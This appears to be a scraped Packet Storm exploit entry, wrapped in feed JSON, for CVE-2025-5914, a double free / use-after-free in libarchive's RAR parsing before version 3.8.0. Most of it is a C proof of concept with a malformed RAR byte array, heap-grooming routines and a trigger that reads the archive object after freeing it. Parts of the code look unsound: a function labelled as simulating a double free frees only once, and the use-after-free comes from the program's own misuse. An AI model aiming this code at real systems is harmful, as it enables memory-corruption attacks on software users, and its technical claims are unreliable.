{“lastseen”:”2026-01-30T17:51:29″,”description”:”This proof of concept demonstrates a memory management flaw in libarchive versions prior to 3.8.0 when handling malformed RAR headers. By supplying a corrupted RAR structure, the code forces error paths during archive parsing, leading to improper…”,”published”:”2026-01-30T00:00:00″,”modified”:”2026-01-30T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 libarchive RAR Double Free \/ Use-After-Free”,”source”:””,”references”:””,”id”:”PACKETSTORM:214604″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-5914″],”sourceData”:”=============================================================================================================================================\\n | # Title : libarchive RAR \\u003c 3.8.0 Parsing Double Free \/ Use-After-Free |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.1 (64 bits) |\\n | # Vendor : https:\/\/github.com\/libarchive\/ |\\n =============================================================================================================================================\\n \\n [+] References : \\n \\n [+] Summary : This proof of concept demonstrates a memory management flaw in vulnerable versions of libarchive (\\u003c 3.8.0) when handling malformed RAR headers. \\n By supplying a corrupted RAR structure, the code forces error paths during archive parsing, leading to improper cleanup. As a result, the archive object \\n may be freed and then accessed again, triggering a use\u2011after\u2011free and, in certain builds, a double free condition. \\n The PoC is intended for diagnostic and educational purposes, typically observable through memory analysis tools such as Valgrind or AddressSanitizer, and does not constitute a reliable exploit.\\n \\n [+] POC :\\n \\n #include \\u003cstdio.h\\u003e\\n #include \\u003cstdlib.h\\u003e\\n #include \\u003cstring.h\\u003e\\n #include \\u003cstdint.h\\u003e\\n #include \\u003carchive.h\\u003e\\n #include \\u003carchive_entry.h\\u003e\\n \\n const unsigned char MALICIOUS_RAR[] = {\\n \\n 0x52, 0x61, 0x72, 0x21, 0x1A, 0x07, 0x00,\\n 0xE6, 0xD5,\\n 0x73,\\n 0x80, 0x00,\\n 0x1A, 0x00,\\n 0xFF, 0xFF,\\n 0x00, 0x90,\\n 0x1F, 0x00,\\n 0xFF, 0xFF, 0xFF, 0x7F,\\n 0x00, 0x00, 0x00, 0x00,\\n 0x03,\\n 0x00, 0x00, 0x00, 0x00,\\n 0x00, 0x00, 0x00, 0x00,\\n 0x14,\\n 0x30,\\n 0x01, 0x00,\\n 0x00, 0x00, 0x00, 0x00,\\n 0x41\\n };\\n \\n void setup_heap_layout() {\\n \\n printf(\\”[+] Setting up heap layout…\\\\n\\”);\\n \\n void *chunks[10];\\n for (int i = 0; i \\u003c 10; i++) {\\n chunks[i] = malloc(1024);\\n if (chunks[i]) {\\n memset(chunks[i], ‘A’, 1024);\\n }\\n }\\n \\n for (int i = 1; i \\u003c 10; i += 2) {\\n free(chunks[i]);\\n }\\n \\n printf(\\”[+] Heap layout prepared\\\\n\\”);\\n }\\n \\n int trigger_vulnerability() {\\n struct archive *a = NULL;\\n struct archive_entry *entry = NULL;\\n int r;\\n size_t buf_size = sizeof(MALICIOUS_RAR);\\n uint8_t *buffer = (uint8_t *)malloc(buf_size);\\n \\n if (!buffer) {\\n fprintf(stderr, \\”[-] Failed to allocate buffer\\\\n\\”);\\n return 1;\\n }\\n \\n memcpy(buffer, MALICIOUS_RAR, buf_size);\\n \\n a = archive_read_new();\\n if (!a) {\\n fprintf(stderr, \\”[-] Failed to create archive object\\\\n\\”);\\n free(buffer);\\n return 1;\\n }\\n \\n printf(\\”[+] Archive object created: %p\\\\n\\”, (void*)a);\\n \\n r = archive_read_support_format_rar(a);\\n if (r != ARCHIVE_OK) {\\n printf(\\”[-] RAR format not supported, trying all formats\\\\n\\”);\\n r = archive_read_support_format_all(a);\\n }\\n \\n if (r != ARCHIVE_OK) {\\n fprintf(stderr, \\”[-] Failed to enable RAR support\\\\n\\”);\\n archive_read_free(a);\\n free(buffer);\\n return 1;\\n }\\n \\n printf(\\”[+] Opening archive from memory (buffer: %p, size: %zu)\\\\n\\”, \\n (void*)buffer, buf_size);\\n \\n r = archive_read_open_memory(a, buffer, buf_size);\\n if (r != ARCHIVE_OK) {\\n fprintf(stderr, \\”[-] archive_read_open_memory failed: %d\\\\n\\”, r);\\n fprintf(stderr, \\”Error: %s\\\\n\\”, archive_error_string(a));\\n \\n }\\n \\n printf(\\”[+] Attempting to read header…\\\\n\\”);\\n r = archive_read_next_header(a, \\u0026entry);\\n \\n if (r == ARCHIVE_OK) {\\n printf(\\”[+] Header read successfully (unexpected!)\\\\n\\”);\\n const char *pathname = archive_entry_pathname(entry);\\n printf(\\”Entry: %s\\\\n\\”, pathname ? pathname : \\”(null)\\”);\\n } else {\\n printf(\\”[-] Header read failed as expected: %s\\\\n\\”, \\n archive_error_string(a));\\n }\\n \\n if (r == ARCHIVE_OK) {\\n printf(\\”[+] Attempting to skip data…\\\\n\\”);\\n r = archive_read_data_skip(a);\\n if (r != ARCHIVE_OK) {\\n printf(\\”[-] Data skip failed: %s\\\\n\\”, archive_error_string(a));\\n }\\n }\\n printf(\\”[+] First cleanup (this should free the archive object)\\\\n\\”);\\n r = archive_read_finish(a);\\n printf(\\”archive_read_finish returned: %d\\\\n\\”, r);\\n printf(\\”[+] Attempting to use archive object after cleanup…\\\\n\\”);\\n printf(\\”Archive pointer: %p\\\\n\\”, (void*)a);\\n const char *err = archive_error_string(a);\\n printf(\\”Error string (after free): %s\\\\n\\”, err ? err : \\”(null)\\”);\\n \\n free(buffer);\\n \\n return 0;\\n }\\n void demonstrate_heap_corruption() {\\n printf(\\”\\\\n[+] Demonstrating heap corruption…\\\\n\\”);\\n void *chunk1 = malloc(256);\\n void *chunk2 = malloc(256);\\n void *chunk3 = malloc(256);\\n \\n printf(\\”Allocated chunks: %p, %p, %p\\\\n\\”, chunk1, chunk2, chunk3);\\n \\n if (chunk1) memset(chunk1, ‘B’, 256);\\n if (chunk2) memset(chunk2, ‘C’, 256);\\n if (chunk3) memset(chunk3, ‘D’, 256);\\n \\n printf(\\”[+] Simulating double free…\\\\n\\”);\\n if (chunk2) {\\n free(chunk2);\\n }\\n printf(\\”[+] Heap operations completed\\\\n\\”);\\n }\\n \\n int main(int argc, char *argv[]) {\\n printf(\\”[+] CVE-2025-5914 – libarchive RAR Double Free PoC\\\\n\\”);\\n printf(\\”[+] Target: libarchive \\u003c 3.8.0\\\\n\\”);\\n printf(\\”[+] Architecture: %s\\\\n\\”, \\n \\”x86_64\\”\\n \\”unknown\\”\\n );\\n printf(\\”[+] libarchive version: %s\\\\n\\”, archive_version_details());\\n setup_heap_layout();\\n printf(\\”\\\\n[+] Triggering vulnerability…\\\\n\\”);\\n int result = trigger_vulnerability();\\n demonstrate_heap_corruption();\\n printf(\\”\\\\n[+] PoC completed\\\\n\\”);\\n printf(\\”[+] Expected result: Double free detected by Valgrind\\\\n\\”);\\n printf(\\”[+] Look for ‘Invalid read’ and ‘free’d’ messages in Valgrind output\\\\n\\”);\\n \\n return result;\\n }\\n \\t\\n Greetings to :============================================================\\n jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|\\n ==========================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/214604″,”cvss”:{“score”:7.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:L\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/214604\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-01-30T17:51:29″,”description”:”This proof of concept demonstrates a memory management flaw in libarchive versions prior to 3.8.0 when handling malformed RAR headers. By supplying a corrupted RAR…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,15,13,53,7,11,5],"class_list":["post-38352","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n